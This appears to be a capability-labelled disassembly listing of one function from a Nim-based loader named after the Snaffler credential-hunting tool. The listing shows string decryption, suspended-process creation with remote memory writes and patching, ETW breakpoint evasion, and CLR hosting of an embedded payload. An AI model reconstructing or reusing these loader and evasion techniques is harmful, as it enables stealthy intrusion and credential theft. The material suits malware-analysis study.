Function at 0x140014230
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x1a8
mov rcx, qword [sym.Snaffler_ruylopez.exe_NTIrefobject__PNpya69bg5jOKXuhnlj83NQ_]
mov edx, 0x418
call sym.Snaffler_ruylopez.exe_newObj
mov edx, 0x5864faac
lea rcx, [0x1400a22e0]
mov r12, rax
mov rax, qword [sym.Snaffler_ruylopez.exe_NTIobject__nftp7RTJl9bUkGnValdDrfQ_]
mov qword [r12], rax
call sym.Snaffler_ruylopez.exe_thisisStrange__nimstrenc_4
mov edx, 0x203396a4
mov rcx, rax
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
mov rax, qword [sym.Snaffler_ruylopez.exe_Dl_1342179610_]
call qword [rax]
mov r8d, 0x1000
mov edx, 8
mov rcx, rax
mov rax, qword [sym.Snaffler_ruylopez.exe_Dl_1342179648_]
call qword [rax]
mov edx, 0x52f69cc4
lea rcx, [0x1400a22a0]
mov dword [rsp + 0x90], 0
lea r14, [rax + 0x15]
lea r15, [rax + 0x2a]
mov qword [0x1400bd2d0], rax
mov r13, rax
mov qword [0x1400bd2c8], r14
mov qword [0x1400bd2c0], r15
call sym.Snaffler_ruylopez.exe_thisisStrange__nimstrenc_4
mov edx, 0x5536242c
mov rcx, rax
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
lea rcx, [0x14009ef63]
test rax, rax
je 0x14001430b
lea rdx, [rax + 0x10]
cmp qword [rax], 0
cmovne rcx, rdx
mov rdx, r13
call fcn.14000f6d0
mov edx, 0x5e38c88c
lea rcx, [0x1400a2260]
call sym.Snaffler_ruylopez.exe_thisisStrange__nimstrenc_4
mov edx, 0x503af144
mov rcx, rax
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
lea rcx, [0x14009ef63]
test rax, rax
je 0x140014349
lea rdx, [rax + 0x10]
cmp qword [rax], 0
cmovne rcx, rdx
mov rdx, r14
call fcn.14000f6d0
mov edx, 0x5f63b464
lea rcx, [0x1400a2220]
call sym.Snaffler_ruylopez.exe_thisisStrange__nimstrenc_4
mov edx, 0x10c9ce0c
mov rcx, rax
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
lea rcx, [0x14009ef63]
test rax, rax
je 0x140014387
lea rdx, [rax + 0x10]
cmp qword [rax], 0
cmovne rcx, rdx
mov rdx, r15
call fcn.14000f6d0
mov edx, 0xdf4f96c
lea rcx, [0x1400a21f0]
call sym.Snaffler_ruylopez.exe_thisisStrange__nimstrenc_4
mov edx, 0x79af5ce4
mov rcx, rax
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
lea rdx, [r13 + 0x93]
lea rcx, [0x14009ef63]
test rax, rax
je 0x1400143cc
lea r8, [rax + 0x10]
cmp qword [rax], 0
cmovne rcx, r8
call fcn.14000f6d0
mov edx, 0x64a4a504
lea rcx, [0x1400a21c0]
call sym.Snaffler_ruylopez.exe_thisisStrange__nimstrenc_4
mov edx, 0x730f3aec
lea r15, [r13 + 0x126]
mov rcx, rax
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
lea rdx, [r13 + 0x111]
lea rcx, [0x14009ef63]
test rax, rax
je 0x140014415
lea r8, [rax + 0x10]
cmp qword [rax], 0
cmovne rcx, r8
call fcn.14000f6d0
lea rcx, [0x1400a2180]
mov edx, 0xcf9c184
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
lea rcx, [0x14009ef63]
test rax, rax
je 0x140014443
lea rdx, [rax + 0x10]
cmp qword [rax], 0
cmovne rcx, rdx
mov rdx, r15
call fcn.14000f6d0
mov rax, qword [sym.Snaffler_ruylopez.exe_MyVirtualProtect__76oader_766]
mov r8d, 0x20
mov rcx, r13
lea r9, [rsp + 0x90]
mov edx, 0x15
call qword [rax]
lea rcx, [0x1400a2160]
mov edx, 0x712ba2cc
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
lea rcx, [0x14009ef63]
test rax, rax
je 0x140014493
lea rdx, [rax + 0x10]
cmp qword [rax], 0
cmovne rcx, rdx
mov rax, qword [sym.Snaffler_ruylopez.exe_Dl_1342181994_]
call qword [rax]
mov r13, rax
test rax, rax
jne 0x1400144ca
lea rcx, [0x1400a2120]
mov edx, 0x73b14724
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
lea rcx, [rsp + 0x130]
mov qword [rsp + 0x130], rax
call sym.Snaffler_ruylopez.exe_echoBinSafe.constprop.0
mov edx, 0x4412fdac
lea rcx, [0x1400a20e0]
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
lea rdx, [0x14009ef63]
test rax, rax
je 0x1400144f3
lea rcx, [rax + 0x10]
cmp qword [rax], 0
cmovne rdx, rcx
mov rax, qword [sym.Snaffler_ruylopez.exe_Dl_1342179856_]
mov rcx, r13
call qword [rax]
mov rbx, rax
test rax, rax
je 0x140015858
mov qword [r12 + 0x28], rbx
mov dword [r12 + 0x18], 0
mov qword [r12 + 0x10], 0
mov qword [r12 + 0x20], 0
mov qword [rsp + 0x110], 0
mov qword [rsp + 0x118], 0
mov qword [rsp + 0x120], 0
mov qword [rsp + 0x128], 0
call sym.Snaffler_ruylopez.exe_nosparamCount
test rax, rax
jle 0x14001457f
mov ecx, 1
call sym.Snaffler_ruylopez.exe_nosparamStr
mov rcx, rax
call sym.Snaffler_ruylopez.exe_checkIfInteger__76oader_1730
test al, al
jne 0x140014a1c
lea rdi, [rsp + 0x130]
xor eax, eax
mov ecx, 0xe
mov edx, 0x104
mov qword [rsp + 0x60], rdi
mov ebp, 0x104
rep stosq qword [rdi], rax
lea rdi, [0x14009ef63]
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xf0], 0
mov rcx, rdi
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xe0], 0
mov qword [rsp + 0xf8], 0
mov qword [rsp + 0x100], 0
mov dword [rsp + 0xd0], 0x18
mov dword [rsp + 0xf0], 0x18
mov dword [rsp + 0x130], 0x70
call sym.Snaffler_ruylopez.exe_newWideCString__systemZwidestrs_231
mov rsi, qword [sym.Snaffler_ruylopez.exe_Dl_1862271172_]
mov r13, rax
jmp 0x140014670
movsxd rdx, eax
cmp ebp, eax
jge 0x140015840
mov rcx, rdi
mov ebp, ebx
call sym.Snaffler_ruylopez.exe_newWideCString__systemZwidestrs_231
mov r13, rax
mov r8d, ebp
mov rdx, r13
xor ecx, ecx
call qword [rsi]
mov ebx, eax
test eax, eax
jne 0x140014658
mov qword [rsp + 0x50], 0
mov edx, 0x1467e524
xor ecx, ecx
mov edi, 1
call sym.Snaffler_ruylopez.exe_thisisStrange__nimstrenc_4
mov r13, qword [sym.Snaffler_ruylopez.exe_strDesc__system_2412]
mov rsi, rax
jmp 0x14001477d
mov edx, 0x438db7ac
lea rcx, [0x14009f090]
call sym.Snaffler_ruylopez.exe_thisisStrange__nimstrenc_4
mov rcx, rdi
mov r14, rax
call sym.Snaffler_ruylopez.exe_nosparamStr
mov r15, rax
xor eax, eax
test rsi, rsi
je 0x1400146d9
mov rax, qword [rsi]
test r14, r14
je 0x1400146e1
add rax, qword [r14]
test r15, r15
je 0x1400146e9
add rax, qword [r15]
mov edx, 7
mov rcx, r13
cmp rax, rdx
cmovge rdx, rax
mov rbp, rdx
lea rdx, [rdx + 0x11]
call sym.Snaffler_ruylopez.exe_newObj
mov qword [rax + 8], rbp
mov rbx, rax
mov qword [rax], 0
xor eax, eax
test rsi, rsi
je 0x140014733
mov rax, qword [rsi]
lea rcx, [rbx + 0x10]
lea rdx, [rsi + 0x10]
lea r8, [rax + 1]
call sub.msvcrt.dll_memcpy
mov rax, qword [rsi]
mov qword [rbx], rax
test r14, r14
je 0x140014756
lea rcx, [rbx + rax + 0x10]
mov rax, qword [r14]
lea rdx, [r14 + 0x10]
lea r8, [rax + 1]
call sub.msvcrt.dll_memcpy
mov rax, qword [r14]
add rax, qword [rbx]
mov qword [rbx], rax
test r15, r15
je 0x140014776
lea rcx, [rbx + rax + 0x10]
mov rax, qword [r15]
lea rdx, [r15 + 0x10]
lea r8, [rax + 1]
call sub.msvcrt.dll_memcpy
mov rax, qword [r15]
add qword [rbx], rax
add rdi, 1
mov rsi, rbx
call sym.Snaffler_ruylopez.exe_nosparamCount
cmp rax, rdi
jge 0x1400146b0
mov edx, 0x41823c4
lea rcx, [0x14009f0d0]
lea r14, [rsp + 0xa8]
call sym.Snaffler_ruylopez.exe_thisisStrange__nimstrenc_4
mov rdi, rax
mov rax, qword [sym.Snaffler_ruylopez.exe_Dl_1375737445_]
call qword [rax]
mov rdx, r14
mov dword [rsp + 0xa8], 0
mov rcx, rax
mov rax, qword [sym.Snaffler_ruylopez.exe_Dl_1375737893_]
call qword [rax]
movsxd rdx, dword [rsp + 0xa8]
mov rcx, r14
mov qword [rsp + 0xa8], 0
call sym.Snaffler_ruylopez.exe_addInt__stdZprivateZdigitsutils_167
mov edx, 0x36004d8c
lea rcx, [0x14009f0b0]
mov rbp, qword [rsp + 0xa8]
call sym.Snaffler_ruylopez.exe_thisisStrange__nimstrenc_4
mov rbx, rax
xor eax, eax
cmp qword [rsp + 0x50], 0
je 0x140014814
mov rax, qword [rsp + 0x50]
mov rax, qword [rax]
test rdi, rdi
je 0x14001481c
add rax, qword [rdi]
test rbp, rbp
je 0x140014825
add rax, qword [rbp]
test rbx, rbx
je 0x14001482d
add rax, qword [rbx]
test rsi, rsi
je 0x140014835
add rax, qword [rsi]
mov edx, 7
mov rcx, r13
cmp rax, rdx
cmovge rdx, rax
mov r14, rdx
lea rdx, [rdx + 0x11]
call sym.Snaffler_ruylopez.exe_newObj
xor edx, edx
mov qword [rax + 8], r14
mov r14, qword [rsp + 0x50]
mov r13, rax
mov qword [rax], 0
test r14, r14
je 0x140014885
lea rcx, [rax + 0x10]
mov rax, qword [r14]
lea rdx, [r14 + 0x10]
lea r8, [rax + 1]
call sub.msvcrt.dll_memcpy
mov rdx, qword [r14]
mov qword [r13], rdx
test rdi, rdi
je 0x1400148aa
mov rax, qword [rdi]
lea rcx, [r13 + rdx + 0x10]
lea rdx, [rdi + 0x10]
lea r8, [rax + 1]
call sub.msvcrt.dll_memcpy
mov rdx, qword [rdi]
add rdx, qword [r13]
mov qword [r13], rdx
test rbp, rbp
je 0x1400148d1
mov rax, qword [rbp]
lea rcx, [r13 + rdx + 0x10]
lea rdx, [rbp + 0x10]
lea r8, [rax + 1]
call sub.msvcrt.dll_memcpy
mov rdx, qword [rbp]
add rdx, qword [r13]
mov qword [r13], rdx
test rbx, rbx
je 0x1400148f6
mov rax, qword [rbx]
lea rcx, [r13 + rdx + 0x10]
lea rdx, [rbx + 0x10]
lea r8, [rax + 1]
call sub.msvcrt.dll_memcpy
mov rdx, qword [rbx]
add rdx, qword [r13]
mov qword [r13], rdx
test rsi, rsi
je 0x14001491b
mov rax, qword [rsi]
lea rcx, [r13 + rdx + 0x10]
lea rdx, [rsi + 0x10]
lea r8, [rax + 1]
call sub.msvcrt.dll_memcpy
mov rdx, qword [rsi]
add rdx, qword [r13]
mov qword [r13], rdx
test rdx, rdx
lea rcx, [r13 + 0x10]
lea rax, [0x14009ef63]
cmove rcx, rax
lea rsi, [rsp + 0xa0]
lea rdi, [rsp + 0xb0]
call sym.Snaffler_ruylopez.exe_newWideCString__systemZwidestrs_231
mov r9, rsi
xor r8d, r8d
mov edx, 3
mov rbx, qword [sym.Snaffler_ruylopez.exe_Dl_1342180301_]
xor ecx, ecx
mov r13, rax
call qword [rbx]
mov rax, qword [sym.Snaffler_ruylopez.exe_Dl_1342179665_]
call qword [rax]
mov r8, qword [rsp + 0xa0]
xor edx, edx
mov rcx, rax
mov rax, qword [sym.Snaffler_ruylopez.exe_Dl_1342179648_]
call qword [rax]
mov r9, rsi
xor r8d, r8d
mov edx, 3
mov rcx, rax
mov qword [rsp + 0x198], rax
call qword [rbx]
mov edx, 0xe7a1364
lea rcx, [0x14009f060]
call sym.Snaffler_ruylopez.exe_thisisStrange__nimstrenc_4
mov rcx, rax
call sym.Snaffler_ruylopez.exe_winstrConverterStringToLPWSTR__OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZwinstr_700
mov rsi, qword [rsp + 0x60]
mov rdx, r13
xor ecx, ecx
mov qword [rsp + 0x38], rax
mov rax, qword [sym.Snaffler_ruylopez.exe_Dl_1342184270_]
lea r9, [rsp + 0xf0]
lea r8, [rsp + 0xd0]
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80004
mov dword [rsp + 0x20], 0
call qword [rax]
mov rax, qword [rsp + 0xb0]
mov qword [r12 + 0x10], rax
mov eax, dword [rsp + 0xc0]
mov dword [r12 + 0x18], eax
mov rax, qword [rsp + 0xb8]
mov qword [r12 + 0x20], rax
call sym.Snaffler_ruylopez.exe_nosparamCount
test rax, rax
jle 0x140014a40
mov ecx, 1
call sym.Snaffler_ruylopez.exe_nosparamStr
mov rcx, rax
call sym.Snaffler_ruylopez.exe_checkIfInteger__76oader_1730
test al, al
jne 0x140014f9c
lea rcx, [0x1400a2060]
mov edx, 0x47be5de4
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
lea rcx, [0x14009ef63]
test rax, rax
je 0x140014a69
lea rdx, [rax + 0x10]
cmp qword [rax], 0
cmovne rcx, rdx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, 0x54adcdec
lea rcx, [0x1400a2040]
mov r13, rax
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
lea rdx, [0x14009ef63]
test rax, rax
je 0x140014a9b
lea rcx, [rax + 0x10]
cmp qword [rax], 0
cmovne rdx, rcx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, qword [sym.Snaffler_ruylopez.exe_NTIseqLbyteT__6H5Oh5UUvVCLiakt9aTwtUQ_]
mov edx, 0x1e00
mov rbp, rax
mov rcx, r13
call sym.Snaffler_ruylopez.exe_newSeq
lea rdx, [rsp + 0x98]
xor r8d, r8d
mov rbx, rax
lea rsi, [rax + 0x10]
mov rax, qword [0x1400a0230]
lea rdi, [rbx + 0x18]
mov qword [rsp + 0x50], rsi
and rdi, 0xfffffffffffffff8
mov qword [rbx + 0x10], rax
mov rax, qword [0x1400a2028]
sub rsi, rdi
mov rcx, rsi
lea rsi, [0x1400a0230]
mov qword [rbx + 0x1e08], rax
sub rsi, rcx
add ecx, 0x1e00
shr ecx, 3
rep movsq qword [rdi], qword [rsi]
mov qword [rsp + 0x98], 0
mov rax, qword [rbx]
mov qword [rsp + 0xa0], rax
lea rax, [rsp + 0xa0]
mov rcx, qword [r12 + 0x10]
mov qword [rsp + 0x58], rax
mov r9, rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x1000
call qword [0x1400bd2c0]
mov qword [rsp + 0x130], 0
mov qword [rsp + 0x138], 0
mov qword [rsp + 0x140], 0
mov qword [rsp + 0x148], 0
test rbp, rbp
je 0x140014fdd
mov rdi, qword [rsp + 0x98]
mov rcx, r13
mov dword [rsp + 0x148], 8
mov edx, 0xd
movdqu xmm1, xmmword [rbp]
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x110], rbp
lea rsi, [rsp + 0xd0]
mov r15, qword [r12 + 0x10]
lea r14, [rsp + 0xf0]
movups xmmword [rsp + 0x118], xmm1
mov qword [rsp + 0x128], rax
call sym.Snaffler_ruylopez.exe_newSeq
mov r9d, 0xffffba49
lea r8, [rsp + 0xa8]
mov rcx, r15
mov word [rax + 0x10], r9w
lea r13, [rax + 0x10]
mov r9d, 4
mov dword [rax + 0x18], 0xff410000
mov byte [rax + 0x1c], 0xe2
mov qword [rsp + 0xf0], rdi
mov dword [rax + 0x12], edi
movzx edx, word [rsp + 0xf4]
mov qword [rsp + 0x70], r8
mov word [rax + 0x16], dx
mov rdx, qword [rax]
mov qword [rsp + 0xa8], rdx
mov rax, qword [rax]
mov rdx, rsi
mov dword [rsp + 0x94], 0
mov qword [rsp + 0x60], rax
mov qword [rsp + 0xb0], 0
mov rax, qword [rbp]
mov qword [rsp + 0xd0], rbp
mov qword [rsp + 0x140], rax
lea rax, [rsp + 0x94]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x20], rax
call qword [0x1400bd2d0]
mov edi, eax
test eax, eax
jne 0x140016050
mov r8, r13
movsxd r9, dword [rsp + 0x60]
mov rdx, rbp
mov rcx, r15
lea rdi, [rsp + 0xb0]
mov qword [rsp + 0x20], rdi
call qword [0x1400bd2c8]
mov r13d, eax
test eax, eax
jne 0x1400158a0
lea rcx, [0x14009f240]
mov edx, 0x7c06038c
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
mov rcx, r14
mov qword [rsp + 0xf0], rax
call sym.Snaffler_ruylopez.exe_echoBinSafe.constprop.0
mov rax, qword [rsp + 0x68]
mov r8, qword [rsp + 0x70]
mov rdx, rsi
mov rcx, r15
mov qword [rsp + 0xd0], rbp
mov r9d, 0x20
mov qword [rsp + 0x20], rax
call qword [0x1400bd2d0]
test eax, eax
jne 0x140015f00
lea rcx, [0x14009f1e0]
mov edx, 0x1355b04c
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
mov rcx, r14
mov qword [rsp + 0xf0], rax
call sym.Snaffler_ruylopez.exe_echoBinSafe.constprop.0
mov rax, qword [sym.Snaffler_ruylopez.exe_Dl_1342180339_]
call qword [rax]
mov r8d, dword [rsp + 0x60]
mov rdx, rbp
mov rcx, rax
call qword [r12 + 0x28]
mov r13d, eax
test eax, eax
je 0x140014e90
mov edx, 0x6cc1872c
lea rcx, [0x14009f140]
movsxd rbp, r13d
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
mov rcx, qword [sym.Snaffler_ruylopez.exe_strDesc__system_2412]
mov r8d, r13d
mov edx, 0x19
shr r8d, 0x1f
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x68], r8d
call sym.Snaffler_ruylopez.exe_newObj
movdqa xmm0, xmmword [0x1400a2ec0]
mov r9d, r13d
mov r8d, dword [rsp + 0x68]
mov r15, rax
and r9d, 0xf
movups xmmword [rax], xmm0
mov rax, qword [sym.Snaffler_ruylopez.exe_TM__JGc9b9bh2D3nTdUR7TGyq8aA_3.lto_priv.0]
movzx edx, byte [rax + r9 + 0x10]
mov byte [r15 + 0x17], dl
mov rdx, rbp
shr rdx, 4
jne 0x140015e74
test r8b, r8b
je 0x140015e74
mov word [r15 + 0x15], 0x4646
movabs rbp, 0xffffffffffffff
mov rdx, rbp
and edx, 0xf
shr rbp, 4
movzx edx, byte [rax + rdx + 0x10]
mov byte [r15 + 0x14], dl
jne 0x140015ea7
test r8b, r8b
je 0x140015ea7
mov word [r15 + 0x12], 0x4646
movabs rbp, 0xffffffffffffff
mov rdx, rbp
and edx, 0xf
shr rbp, 4
movzx edx, byte [rax + rdx + 0x10]
mov byte [r15 + 0x11], dl
jne 0x140015eda
test r8b, r8b
je 0x140015eda
mov byte [r15 + 0x10], 0x46
nop
mov rbp, qword [fcn.14001d730]
mov ecx, 1
call rbp
mov rdx, qword [rsp + 0x60]
mov rcx, rax
call fcn.140012af0
mov ecx, 1
call rbp
mov rdx, r15
mov rcx, rax
call fcn.140012af0
mov ecx, 1
call rbp
mov r8d, 1
mov edx, 1
lea rcx, [0x14009efb2]
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 1
call rbp
mov rcx, rax
call fcn.14001d018
jmp 0x140014eb1
lea rcx, [0x14009f100]
mov edx, 0x3be487a4
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
mov rcx, r14
mov qword [rsp + 0xf0], rax
call sym.Snaffler_ruylopez.exe_echoBinSafe.constprop.0
mov rcx, qword [rbx]
test rcx, rcx
jle 0x140015ef0
mov rdx, qword [rsp + 0x50]
mov r8, 0xfffffffffffffff0
sub r8, rbx
mov rax, rdx
add rcx, rdx
jmp 0x140014ee5
add rax, 1
cmp rcx, rax
je 0x140015ef0
cmp byte [rax], 0xde
lea rdx, [r8 + rax]
jne 0x140014ed8
cmp byte [rax + 1], 0xad
jne 0x140014ed8
cmp byte [rax + 2], 0xbe
jne 0x140014ed8
cmp byte [rax + 3], 0xef
jne 0x140014ed8
cmp byte [rax + 4], 0x13
jne 0x140014ed8
cmp byte [rax + 5], 0x37
jne 0x140014ed8
add rdx, 0x10
mov rax, qword [rsp + 0x128]
mov r8, qword [rsp + 0x50]
movdqu xmm2, xmmword [rsp + 0x118]
mov qword [rbx + rdx + 0x10], rax
movups xmmword [rbx + rdx], xmm2
mov rax, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0x98]
mov qword [rsp + 0xd0], 0
mov rcx, qword [r12 + 0x10]
lea r9, [rax - 1]
mov qword [rsp + 0x20], rsi
call qword [0x1400bd2c8]
mov rax, qword [rsp + 0x98]
mov r8, qword [rsp + 0x58]
mov rdx, r14
mov dword [rsp + 0xb0], 0
mov r9d, 0x20
mov qword [rsp + 0xf0], rax
mov rcx, qword [r12 + 0x10]
mov qword [rsp + 0x20], rdi
call qword [0x1400bd2d0]
test eax, eax
jne 0x140014fdd
call sym.Snaffler_ruylopez.exe_nosparamCount
test rax, rax
jle 0x140014fbc
mov ecx, 1
call sym.Snaffler_ruylopez.exe_nosparamStr
mov rcx, rax
call sym.Snaffler_ruylopez.exe_checkIfInteger__76oader_1730
test al, al
jne 0x140014ff0
mov rax, qword [sym.Snaffler_ruylopez.exe_Dl_1342180365_]
mov rcx, qword [r12 + 0x20]
call qword [rax]
mov rax, qword [sym.Snaffler_ruylopez.exe_Dl_1342181099_]
mov rcx, qword [r12 + 0x20]
mov edx, 0xffffffff
call qword [rax]
mov ecx, 1
call sub.msvcrt.dll_exit
nop word [rax + rax]
mov edx, 0x399b2a84
lea rcx, [0x1400a0020]
lea rdi, [r12 + 0x58]
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
mov edx, 0x3343edcc
lea rcx, [0x14009ff40]
and rdi, 0xfffffffffffffff8
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
mov eax, r12d
mov edx, 0x7fef5824
mov qword [r12 + 0x50], 0
mov qword [r12 + 0x410], 0
sub eax, edi
lea ecx, [rax + 0x418]
xor eax, eax
shr ecx, 3
rep stosq qword [rdi], rax
lea rcx, [0x14009fee0]
mov qword [r12 + 0x30], 0
mov qword [r12 + 0x38], 0
mov qword [r12 + 0x40], 0
mov qword [r12 + 0x48], 0
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
mov edx, 0x9c7c0ac
lea rcx, [0x14009fe40]
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
mov edx, 0x11744ec4
lea rcx, [0x14009fde0]
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
mov edx, 0x3e17fe8c
lea rcx, [0x14009fd00]
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
mov edx, 0x4bc5b664
lea rcx, [0x14009fb80]
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
mov rax, qword [sym.Snaffler_ruylopez.exe_MySleep__76oader_778]
mov ecx, 0x5dc
call qword [rax]
call sym.Snaffler_ruylopez.exe_SetupETWBreakpoints__76oader_3206
mov edx, 0x4e3387c4
lea rcx, [0x14009f980]
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
mov edx, 0x5f1eb98c
lea rcx, [0x14009f7a0]
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
mov edx, 0x495e1764
lea rcx, [0x14009f620]
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
mov edx, 0x631ed26c
lea rcx, [0x14009f440]
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
mov rax, qword [sym.Snaffler_ruylopez.exe_enctext__76oader_217]
mov rdx, qword [sym.Snaffler_ruylopez.exe_ptrEncText__76oader_214]
mov rcx, r12
mov rbx, qword [sym.Snaffler_ruylopez.exe_dectext__76oader_229]
mov rax, qword [rax]
add rax, 0x10
mov qword [rdx], rax
mov rax, qword [rbx]
mov rdx, qword [sym.Snaffler_ruylopez.exe_ptrDecText__76oader_215]
add rax, 0x10
mov qword [rdx], rax
call sym.Snaffler_ruylopez.exe_decryptLate__76oader_1921
mov r14, qword [rbx]
test r14, r14
je 0x140015888
mov rax, qword [r14]
mov qword [rsp + 0x58], rax
mov esi, eax
mov rbx, qword [sym.Snaffler_ruylopez.exe_CurrentAssembly__OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZclr_20]
mov rax, qword [rbx]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x140015db0
mov rcx, qword [rsp + 0x68]
call sym.Snaffler_ruylopez.exe_isType__OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZclr_436
test al, al
jne 0x140015195
mov rcx, qword [sym.Snaffler_ruylopez.exe_TM__W39aKMRuy9awEMbV9aZGrkN8Q_37.lto_priv.0]
xor edx, edx
call sym.Snaffler_ruylopez.exe_clrError__OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZclr_339
mov rbx, qword [str.h__v_]
mov qword [rsp + 0xf0], 0
cmp byte [rbx], 0
jne 0x1400151bb
mov rax, qword [sym.Snaffler_ruylopez.exe_Dl_2113943836_]
xor ecx, ecx
call qword [rax]
mov byte [rbx], 1
mov r13, qword [str.___v_]
mov rcx, r13
call sym.Snaffler_ruylopez.exe_newObj.constprop.0
mov rbp, rax
mov rax, qword [str.x__v_]
cmp qword [rax], 0
je 0x140015d60
mov rax, qword [str.p__v_]
mov r12, qword [rax]
test r12, r12
je 0x140015d10
mov r8d, 1
mov rdx, rbp
mov rcx, r12
call sym.Snaffler_ruylopez.exe_X5BX5Deq___OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZcom_2130
mov r8d, 0x2011
mov edx, 1
lea rax, [rsp + 0x130]
mov word [rbp], r8w
mov r8, rax
mov ecx, 0x11
mov qword [rsp + 0x60], rax
mov rax, qword [sym.Snaffler_ruylopez.exe_Dl_2113941820_]
mov dword [rsp + 0x134], 0
mov dword [rsp + 0x130], esi
call qword [rax]
mov qword [rbp + 8], rax
test rax, rax
je 0x140015c60
cmp qword [rsp + 0x58], 0
jle 0x1400153c2
mov rax, qword [sym.Snaffler_ruylopez.exe_Dl_2113941866_]
xor r12d, r12d
lea rsi, [rsp + 0xd0]
mov qword [rsp + 0x50], rax
jmp 0x1400152d2
mov rax, qword [str.p__v_]
mov r9, qword [rax]
test r9, r9
je 0x14001536a
mov rcx, r9
mov r8d, 1
mov rdx, r15
call sym.Snaffler_ruylopez.exe_X5BX5Deq___OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZcom_2130
mov byte [r15 + 8], dil
lea r8, [r15 + 8]
mov rdx, rsi
mov rax, qword [rsp + 0x50]
mov ecx, 0x11
mov word [r15], cx
mov dword [rsp + 0xd0], r12d
add r12, 1
mov rcx, qword [rbp + 8]
call qword [rax]
cmp qword [rsp + 0x58], r12
je 0x1400153e0
cmp byte [rbx], 0
movzx edi, byte [r14 + r12 + 0x10]
jne 0x1400152eb
mov rax, qword [sym.Snaffler_ruylopez.exe_Dl_2113943836_]
xor ecx, ecx
call qword [rax]
mov byte [rbx], 1
mov rcx, r13
call sym.Snaffler_ruylopez.exe_newObj.constprop.0
mov r15, rax
mov rax, qword [str.x__v_]
cmp qword [rax], 0
jne 0x140015278
call sym.Snaffler_ruylopez.exe_newTable__OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZcom_1916.constprop.0
test rax, rax
je 0x140015316
add qword [rax - 0x10], 8
mov rdx, qword [str.x__v_]
mov rcx, qword [rdx]
test rcx, rcx
je 0x14001534d
mov rdx, qword [rcx - 0x10]
lea r9, [rcx - 0x10]
lea r8, [rdx - 8]
mov qword [rcx - 0x10], r8
cmp r8, 7
ja 0x14001534d
mov rcx, r9
mov qword [rsp + 0x70], rax
call sym.Snaffler_ruylopez.exe_addZCT__system_5314.constprop.0
mov rax, qword [rsp + 0x70]
mov rdx, qword [str.x__v_]
mov qword [rdx], rax
mov rax, qword [str.p__v_]
mov r9, qword [rax]
test r9, r9
jne 0x14001528b
call sym.Snaffler_ruylopez.exe_newTable__OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZcom_1916.constprop.0
mov r9, rax
test rax, rax
je 0x14001537c
add qword [rax - 0x10], 8
mov rax, qword [str.p__v_]
mov rax, qword [rax]
test rax, rax
je 0x1400153b3
mov rdx, qword [rax - 0x10]
lea r8, [rax - 0x10]
lea rcx, [rdx - 8]
mov qword [rax - 0x10], rcx
cmp rcx, 7
ja 0x1400153b3
mov rcx, r8
mov qword [rsp + 0x70], r9
call sym.Snaffler_ruylopez.exe_addZCT__system_5314.constprop.0
mov r9, qword [rsp + 0x70]
mov rax, qword [str.p__v_]
mov qword [rax], r9
jmp 0x14001528b
mov rax, qword [sym.Snaffler_ruylopez.exe_Dl_2113941866_]
lea rsi, [rsp + 0xd0]
mov qword [rsp + 0x50], rax
nop word cs:[rax + rax]
lea r14, [rsp + 0xf0]
mov rcx, qword [rsp + 0x68]
xor r12d, r12d
lea rdx, [0x14009f310]
mov r8, r14
mov qword [rsp + 0xf0], rbp
mov edi, 1
